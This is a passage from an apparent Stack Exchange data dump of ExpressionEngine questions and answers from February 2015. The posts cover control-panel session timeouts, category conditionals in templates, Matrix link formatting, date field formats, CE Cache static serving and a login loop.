3.0" />
  <row Id="30176" PostTypeId="2" ParentId="28993" CreationDate="2015-02-23T01:47:36.857" Score="1" Body="&lt;p&gt;I wrote an answer to a related question a couple of days back on here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/30109/2-9-2-cp-session-timeout-is-there-no-solution/30114#30114&quot;&gt;CP Session Timeout - no Solution?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That probably provides the info you need, but in short I referenced, as you have, that the previously usable session time variable &lt;code&gt;$config['cp_session_ttl']&lt;/code&gt; looks to have been deprecated, which allowed for custom login session lengths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution suggested was setting &lt;code&gt;$config['cp_session_type'] = 'c';&lt;/code&gt; in your config.php, which will trigger an option on next login to tick 'Auto login on future visits?' - this should then provide you with a 2 week persistent login, that remains logged in even when the browser is closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="6059" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-23T05:22:14.413" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30178" PostTypeId="2" ParentId="25495" CreationDate="2015-02-23T04:41:00.313" Score="2" Body="&lt;p&gt;&quot;Assign&quot;, yes. &quot;Restrict&quot;, no. Unless you find a plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can ensure that an entry is NOT assigned to categories above the node chosen by setting &quot;Auto-Assign Category Parents&quot; to &quot;No&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JbwWA.jpg&quot; alt=&quot;Setting: Auto-Assign Category Parents&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2015-02-23T04:41:00.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30179" PostTypeId="1" CreationDate="2015-02-23T05:43:22.593" Score="1" ViewCount="56" Body="&lt;p&gt;I need a NON-duplicated list of distinct Category Names assigned to a range of entries.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Show non-duplicated list of (CAT GROUP 2) for Entries --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;&lt;br&gt;&#xA;- Products are assigned to TWO categories (one in Group 1 and one in Group 2).&lt;br&gt;&#xA;- I have a page that displays a list of all Entries (Products) in Category A (Group 1).&lt;br&gt;&#xA;- I want to display a non-duplicated list of Categories from Group 2 that are assigned to the range of selected Entries.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to do this without using {exp:query} or a plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Crappy Code Example:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='products' dynamic='no' category='{segment_2_category_id}' category_group='1'}&#xA;    {categories category_group='2' style='linear' backspace='2'}&#xA;        {category_name} &amp;lt;!-- Category Name unduplicated --&amp;gt;&#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: This question might be a duplicate of: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21949/show-categories-associated-with-a-list-of-channel-entries&quot;&gt;Show categories associated with a list of channel entries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-02-23T05:43:22.593" Title="List of distinct categories assigned to entry" Tags="|categories|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30180" PostTypeId="1" AcceptedAnswerId="30184" CreationDate="2015-02-23T06:03:41.530" Score="0" ViewCount="89" Body="&lt;p&gt;I have Matrix field that has a &lt;code&gt;file cell&lt;/code&gt; and &lt;code&gt;text cell&lt;/code&gt; with the formatting set to &lt;code&gt;none&lt;/code&gt;. If there is a url in the text cell when I access it a template it automatically creates a link. I can't seem to figure out how to disable this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently on EE 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or pointing me in the right direction would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-02-23T14:39:48.150" Title="Disable automatic link creation from Matrix text field" Tags="|matrix|links|text-formatting|formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30181" PostTypeId="1" CreationDate="2015-02-23T06:41:39.060" Score="0" ViewCount="119" Body="&lt;p&gt;I would like to auto login returning members who have registered on the site before using Solspace User. Is this possible? Is there an auto login tag/plugin I could use when they register?&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2016-06-19T21:05:39.110" Title="Auto login - Solspace User" Tags="|solspace-user|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30182" PostTypeId="2" ParentId="30150" CreationDate="2015-02-23T08:14:54.397" Score="0" Body="&lt;p&gt;I'll go on a guess that you are using the Demo Templates that are provided with User. In this case, &lt;code&gt;{exp:user:register}&lt;/code&gt; uses an &lt;code&gt;error_page=&quot;&quot;&lt;/code&gt; parameter to display, &lt;strong&gt;on form submission&lt;/strong&gt;, an error page based on a template set in the parameter. In the Demo Templates, it would be &lt;code&gt;user_inc/error_template&lt;/code&gt; (assuming you used &lt;code&gt;user_&lt;/code&gt; as your Demo Templates prefix). This template contains embeds for a header, sidebar, footer, etc. This gives you a well-formatted error page when submitting the registration form with errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you visit the registration form as-is (i.e. no form submission yet), the &lt;code&gt;error_page=&quot;&quot;&lt;/code&gt; is already triggered when &quot;&lt;em&gt;Allow New Member Registrations&lt;/em&gt;&quot; is disabled, and the error page template content is pulled in and placed where your registration form would usually be. That means the error page's header, sidebar, footer embeds are also being added to the template, breaking the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll make a note of this behaviour and see how we can improve this in the future, but you can get around that issue by adding conditionals in &lt;code&gt;user_inc/error_template&lt;/code&gt; to not display header, sidebar, footer code when the URL contains &lt;code&gt;register&lt;/code&gt; in it. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &quot;register&quot;}&#xA;  // This will only display when on an error page&#xA;  // i.e. on a page following a form submission&#xA;  // eg. {embed=&quot;user_inc/index&quot; page_title=&quot;{title}&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, if you view the registration form, header, sidebar, footer, etc code will not be pulled in form the error page template, but when you submit the form with errors, you'll have a formatted error page, with header, sidebar, footer, etc.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-02-23T08:14:54.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30183" PostTypeId="1" CreationDate="2015-02-23T14:05:17.787" Score="0" ViewCount="195" Body="&lt;p&gt;I've created a Date fieldtype in Channel Fields and want to display this date in a Channel Form without the time. For example, 5/19/14 8:19 AM, I only want to display: 5/19/14. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the EE date format would address this but it does not. If I add to my field tag &lt;code&gt;{my_date format=&quot;%m/%d/%y&quot;}&lt;/code&gt; the tag is displayed in the form, indicating some error. On the other hand if I add this to the form &lt;code&gt;{current_time format=&quot;%m/%d/%y&quot;}&lt;/code&gt; the date is displayed as I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does the EE date format only apply to system dates, or is there a way to format the date fieldtype I created?&lt;/p&gt;&#xA;" OwnerUserId="4992" LastEditorUserId="115" LastEditDate="2015-02-23T19:21:52.807" LastActivityDate="2018-01-25T20:33:19.667" Title="Cannot Format Date fieldtype in Channel Form" Tags="|safecracker|date-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30184" PostTypeId="2" ParentId="30180" CreationDate="2015-02-23T14:39:48.150" Score="2" Body="&lt;p&gt;This is set on per-channel basis, not per-field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Admin -&gt; Channel Administration -&gt; Channels, click &quot;Edit Preferences&quot; next to your channel and set &quot;Automatically turn URLs and email addresses into links?&quot; to &quot;No&quot;.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-23T14:39:48.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30185" PostTypeId="2" ParentId="30164" CreationDate="2015-02-23T14:43:21.303" Score="0" Body="&lt;p&gt;It is most likely that {exp:channel:entries} tag tries to treat your row_id in URL as entry_id and hence returning no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution would be to use dynamic=&quot;no&quot; parameter and specify what URL segment contains entry url_title/entry_id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; url_title=&quot;{segment_2}&quot;}&#xA;{staff_members row_id=&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-23T14:43:21.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30186" PostTypeId="2" ParentId="30167" CreationDate="2015-02-23T14:45:27.100" Score="0" Body="&lt;p&gt;There is also Profile:Edit module, which is similar to Zoo Visitor, but I personally prefer it more.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-23T14:45:27.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30187" PostTypeId="2" ParentId="30169" CreationDate="2015-02-23T14:58:08.090" Score="0" Body="&lt;p&gt;Check out this add-on I've developed a real while ago: &lt;a href=&quot;https://github.com/intoeetive/forum_notifier&quot; rel=&quot;nofollow&quot;&gt;Forum Notifier&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does not do the job you need, then you probably need something more or less custom built.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-23T14:58:08.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30188" PostTypeId="2" ParentId="27084" CreationDate="2015-02-23T15:00:23.880" Score="0" Body="&lt;p&gt;For anyone interested, I ended up with creating subscription plans that also include donation. There seems to be no other way around with Membrr.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-23T15:00:23.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30189" PostTypeId="2" ParentId="30183" CreationDate="2015-02-23T15:07:17.060" Score="0" Body="&lt;p&gt;For the input field in Channel Form (would that be entry date or custom date field) you can only use the format of date defined in system preferences (&quot;US&quot; or &quot;European&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I believe you can overcome that by applying your custom rules to jQuery Datepicker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;format&quot; parameter is applicable when you display the date as text in rendered template, not for display of input field itself.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-23T15:07:17.060" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30190" PostTypeId="2" ParentId="30171" CreationDate="2015-02-23T15:18:45.587" Score="0" Body="&lt;p&gt;Turns out I just needed to add &lt;code&gt;.trigger(&quot;change&quot;)&lt;/code&gt; to the end of my custom JS and it detected the select changing.&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2015-02-23T15:18:45.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30191" PostTypeId="1" AcceptedAnswerId="30192" CreationDate="2015-02-23T15:33:19.643" Score="0" ViewCount="64" Body="&lt;p&gt;Is it possible to do something like the following (which doesn't work).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if layout:contents}&#xA;    {layout:contents}&#xA;{if:else}&#xA;    404!&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:: ed&lt;/p&gt;&#xA;" OwnerUserId="6074" LastActivityDate="2015-02-23T16:30:11.527" Title="Check existance of layout variable?" Tags="|conditionals|template-layouts|layout-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30192" PostTypeId="2" ParentId="30191" CreationDate="2015-02-23T16:30:11.527" Score="0" Body="&lt;p&gt;&lt;code&gt;{layout:contents}&lt;/code&gt; is no regular layout variable (it will always contain the entire contents of the template in which the &lt;code&gt;{layout=&quot;template_group/template&quot;}&lt;/code&gt; tag appeared), which is why I suspect your code sample doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But all other layout variables should work just fine as conditionals, as in your code sample.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-23T16:30:11.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30193" PostTypeId="2" ParentId="30174" CreationDate="2015-02-23T16:32:17.303" Score="3" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://zenbustudio.com/software/zenbu&quot; rel=&quot;nofollow&quot;&gt;Zenbu add-on&lt;/a&gt; - it will allow you to filter and sort by any field. No way to do this otherwise without hacking core files I'm afraid.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-23T16:32:17.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30194" PostTypeId="1" CreationDate="2015-02-23T16:55:25.870" Score="1" ViewCount="64" Body="&lt;p&gt;I'm attempting to set flashdata in the sessions_start() hook and retrieve it on the next page load. It does not seem to work although I am able to set_flashdata and then var_dump the session object and see the new flashdata variable, just not able to see it or retrieve it on the next page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if you can reliably set and retrieve flashdata within the sessions_start() hook?&lt;/p&gt;&#xA;" OwnerUserId="6075" LastActivityDate="2015-02-24T14:04:30.227" Title="is it possible to set and retrieve flashdata in sessions_start() hook" Tags="|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30195" PostTypeId="1" AcceptedAnswerId="30324" CreationDate="2015-02-23T17:09:36.857" Score="0" ViewCount="87" Body="&lt;p&gt;I've recently upgraded EE from version 2.7.3 to the latest 2.9.2, and CartThrob similarly from 2.3.6 to the latest 2.6.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All functionality seemed to be fine, aside from my SagePay checkout, which initially fired a 5006 error. I narrowed this down to an issue with extload.php (commonplace!) which I amended by utilising my old extload.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no obvious errors logged, but I noted pretty instantly that the email notifications (for admin and customer) are no longer being sent; the database does not even log attempts to send the emails. I've confirmed that the backend still has the same email details present, and even tried adding a new, standalone rule that used a non-domain email, in case of any block from that point of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On investigation, I've also noticed that after Sage redirects back to site (order complete), the basket retains the items from the order - it previously did not. This even skips the first layer of out of stock warning, allowing items in the basket that are OOS until the point of checkout (where it does then catch them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be greatly appreciated - I've read on similar errors, but not a concrete solution as such. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6059" LastActivityDate="2015-03-02T16:38:56.230" Title="Cartthrob no longer sending email notifications after EE/CT upgrade" Tags="|cartthrob|email|notification|shopping-cart|sagepay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30196" PostTypeId="1" CreationDate="2015-02-23T19:19:26.403" Score="1" ViewCount="361" Body="&lt;p&gt;We have a client's multi-language site, and are NOT using any plugins to differentiate the site.  The different languages are under different url paths (/fr /nl) using pages.  However, for the blog element, the client wants all entries to be in one universal blog, but once you go to a French blog, the nav and other elements are French (this is done with segment_1 of fr).  Because of that, I want all blog posts in the French category to go to /fr/blog/entry/{url_title} instead of /blog/entry/{url_title}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;blog&quot;}&#xA;                &amp;lt;div class=&quot;blog-entry&quot;&amp;gt;&#xA;                    &amp;lt;img src=&quot;{main-image}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;     {if category_id == &quot;41&quot;}&#xA;       &amp;lt;a href=&quot;{path='fr/blog/entry/{url_title}'}&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {if:elseif category_id == &quot;42&quot;}&#xA;        &amp;lt;a href=&quot;/nl/blog/entry/{url_title}/&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {if:else}&#xA;       &amp;lt;a href=&quot;/blog/entry/{url_title}/&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {/if}           &#xA;        &amp;lt;h5&amp;gt;{entry_date format=&quot;%j %M %Y&quot;}&amp;lt;/h5&amp;gt;&#xA;                    {if summary != &quot;&quot;}&amp;lt;p&amp;gt;{summary}&amp;lt;/p&amp;gt;{if:else}&amp;lt;p&amp;gt;{entry}&amp;lt;/p&amp;gt;{/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it's the if category statement that seems to be the culprit.  I can replace the &lt;code&gt;&amp;lt;a href=&quot;/fr/blog/entry/{url_title}&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt; with anything and it still shows the h1 title with a link to the /blog/entry/{url_title} page.&lt;/p&gt;&#xA;" OwnerUserId="3740" LastEditorUserId="3740" LastEditDate="2015-02-23T19:34:02.627" LastActivityDate="2015-02-23T19:44:36.933" Title="Can you use {if category == &quot;[category name]&quot;} to redirect a blog entry?" Tags="|categories|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30197" PostTypeId="2" ParentId="30196" CreationDate="2015-02-23T19:29:00.433" Score="0" Body="&lt;p&gt;You can definitely write conditionals based on a category's ID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are indeed using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;categories tag pair&lt;/a&gt; inside a Channel Entries tag you need to use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#category-id&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;category_id&lt;/code&gt;&lt;/a&gt; instead of &lt;code&gt;category&lt;/code&gt; (which actually isn't a variable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if category_id == &quot;41&quot;}&#xA;    &amp;lt;a href=&quot;/fr/blog/entry/{url_title}&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;{if:elseif category_id == &quot;42&quot;}&#xA;    &amp;lt;a href=&quot;/nl/blog/entry/{url_title}/&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;a href=&quot;/blog/entry/{url_title}/&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't do the trick, then please add a little bit more of your template code to provide context for this conditional (ie, is this inside a channel:entries category variable tag pair, or something else?)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-02-23T19:29:00.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30198" PostTypeId="1" CreationDate="2015-02-23T19:33:04.423" Score="1" ViewCount="94" Body="&lt;p&gt;The following code is causing a 8-9 second page load delay on our site and I’m trying to whittle this down however I’m not sure which conditionals to try to change in order to best affect the load times&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve tried using the ifelse addon from Devot:ee however it doesn’t seem to be helping at all (where I’ve placed it!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are about 80 categories and the code below picks out 4 of them. The channel that the products are pulled from has about 1000 entries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.9.0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:categories channel=&quot;products&quot; style=&quot;linear&quot;}&#xA;    {exp:ifelse parse=&quot;inward&quot;} &#xA;    {if hp-featured == &quot;Yes&quot;}&#xA;&#xA;        &amp;lt;h2 class=&quot;hpH2&quot;&amp;gt;&amp;lt;a href=&quot;{path=products/l/c/{category_url_title}}&quot;&amp;gt;Best Selling {category_name}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        {exp:low_reorder:entries set=&quot;product_order&quot; category=&quot;{category_id}&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination|primary_category|categories|category_fields|misc_content|news|homepage_adverts|about&quot; limit=&quot;3&quot; url_title=&quot;{embed:the_url_title}&quot; }&#xA;        &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        #MI{product_code} {position:absolute; z-index:2; visibility:hidden; width:215px; margin-top:195px; background:url(/images/bg-list-moreinfo.png); padding:3px 5px; text-align:center; font-weight:normal; font-size:11px;}&#xA;        &amp;lt;/style&amp;gt;&#xA;  &amp;lt;div class=&quot;productSingle&quot; onmouseover=&quot;P7_autoLayers(0,'MI{product_code}')&quot; onmouseout=&quot;P7_autoLayers(0)&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;MI{product_code}&quot;&amp;gt;&amp;lt;a href=&quot;{url_title_path='products/detail'}&quot; title=&quot;{title} Prices and Ordering&quot;&amp;gt;more info &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;a href=&quot;{url_title_path='products/detail'}&quot;&amp;gt;&amp;lt;img src=&quot;{product_image:thumbnail}&quot; alt=&quot;{if product_thumbnail_alt_tag !=&quot;&quot;}{product_thumbnail_alt_tag}{if:else}{title}{/if}&quot; title=&quot;{title}&quot; width=&quot;225&quot; height=&quot;225&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;{url_title_path='products/detail'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;  {if '{bulk_discounts:total_rows}' == 5}&#xA;        {bulk_discounts}&#xA;            {if field_row_count == 5}from {if saleprice}&amp;amp;pound;{saleprice}&amp;lt;s&amp;gt; &amp;amp;pound;{price}&amp;lt;/s&amp;gt;{if:else}&amp;amp;pound;{price}{/if} per item{/if}&#xA;        {/bulk_discounts}&#xA;  {/if}&#xA;  {if '{bulk_discounts:total_rows}' == 4}&#xA;        {bulk_discounts}&#xA;            {if field_row_count == 4}from {if saleprice}&amp;amp;pound;{saleprice}&amp;lt;s&amp;gt; &amp;amp;pound;{price}&amp;lt;/s&amp;gt;{if:else}&amp;amp;pound;{price}{/if} per item{/if}&#xA;        {/bulk_discounts}&#xA;  {/if}&#xA;  {if '{bulk_discounts:total_rows}' == 3}&#xA;        {bulk_discounts}&#xA;            {if field_row_count == 3}from {if saleprice}&amp;amp;pound;{saleprice}&amp;lt;s&amp;gt; &amp;amp;pound;{price}&amp;lt;/s&amp;gt;{if:else}&amp;amp;pound;{price}{/if} per item{/if}&#xA;        {/bulk_discounts}&#xA;  {/if}&#xA;&amp;lt;/div&amp;gt;&#xA;  {/exp:low_reorder:entries}&#xA;&#xA;    {/if}&#xA;    {/exp:ifelse}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3835" LastActivityDate="2015-12-24T10:48:51.967" Title="Speeding up load times on this code" Tags="|categories|grid|low-reorder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30199" PostTypeId="1" CreationDate="2015-02-23T19:34:58.357" Score="1" ViewCount="250" Body="&lt;p&gt;I am using CE Cache Static driver. All is getting cached and served as expected except for the home page. It is getting cached, but not served. I believe it is due to the below line of the htaccess, as the _static_cache_handler.php script is NOT being triggered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{DOCUMENT_ROOT}/static_cache/ce_cache/90ba68/static%{REQUEST_URI}/index\.html -f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, despite the fact that index.html exsists in the &lt;code&gt;ce_cache/90ba68/static&lt;/code&gt; directory, the RewriteCond is not passing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working for me on other servers, but not the one I'm on now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can access the cached file in the browser with no issue, so I don't think it is a permissions issue. &lt;/p&gt;&#xA;" OwnerUserId="17" LastEditorUserId="17" LastEditDate="2015-02-23T19:56:48.900" LastActivityDate="2015-02-24T00:32:15.163" Title="CE Cache Static not serving cached home page" Tags="|htaccess|ce-cache|caching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30200" PostTypeId="1" CreationDate="2015-02-23T19:39:02.763" Score="0" ViewCount="43" Body="&lt;p&gt;Just downloaded the free version of EE and I already hate using it. I can log into EE successfully but every time I hit &quot;view rendered template&quot; it sends me to another login screen and if I go back in that tab and hit &quot;View rendered template&quot; it takes me yet again to another log in screen and the url shows me this &lt;strong&gt;&lt;em&gt;admin/index.php?/cp/login&amp;amp;return=&lt;/em&gt;&lt;/strong&gt; Needless to say this is annoying beyond belief. I've looked at these answers (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/27251/ee-2-9-2-cant-login-to-cpanel-infitive-loop&quot;&gt;Q1&lt;/a&gt;,&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/26920/urls-always-resolve-back-to-index-php-cp-loginreturn&quot;&gt;Q2&lt;/a&gt;,&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/20692/2-8-1-login-loop&quot;&gt;Q3&lt;/a&gt;) but with no success on my end. Any and all help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my config.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['app_version'] = '292';&#xA;$config['license_contact'] = '';&#xA;$config['license_number'] = 'CORE LICENSE';&#xA;$config['debug'] = '1';&#xA;$config['cp_url'] = 'http://example.com/ee/admin/index.php';&#xA;$config['doc_url'] = 'http://ellislab.com/expressionengine/user-guide/';&#xA;$config['is_system_on'] = 'y';&#xA;$config['allow_extensions'] = 'n';&#xA;$config['cookie_httponly'] = 'y';&#xA;$config['cp_session_type'] = 's';&#xA;$config['index_page'] = 'index.php';&#xA;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;n&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;;&#xA;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried it mainly in Chrome but also tried it in FF with no success&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any more info is required i'd be more than happy to provide it. &lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-02-23T19:39:02.763" Title="Login Loop when trying to make Hello World Example" Tags="|login|loop|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30201" PostTypeId="2" ParentId="30196" CreationDate="2015-02-23T19:42:12.687" Score="1" Body="&lt;p&gt;You have to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#id146&quot; rel=&quot;nofollow&quot;&gt;categories tag pair&lt;/a&gt; within your channel entries tag because you could theoretically have multiple categories assigned to an entry. IF you do have multiple categories assigned to an entry I would move the language categories into their own group so you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;}&#xA;&amp;lt;div class=&quot;blog-entry&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{main-image}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;    {categories show_group=&quot;2&quot; limit=&quot;1&quot;}&#xA;    {!-- this will loop through each category assigned so you would have duplicates if in multiple categoires --}&#xA;        {if category_id == &quot;41&quot;}&#xA;            &amp;lt;a href=&quot;{path='fr/blog/entry/{url_title}'}&quot;&amp;gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {if:elseif category_id == &quot;42&quot;}&#xA;            &amp;lt;a 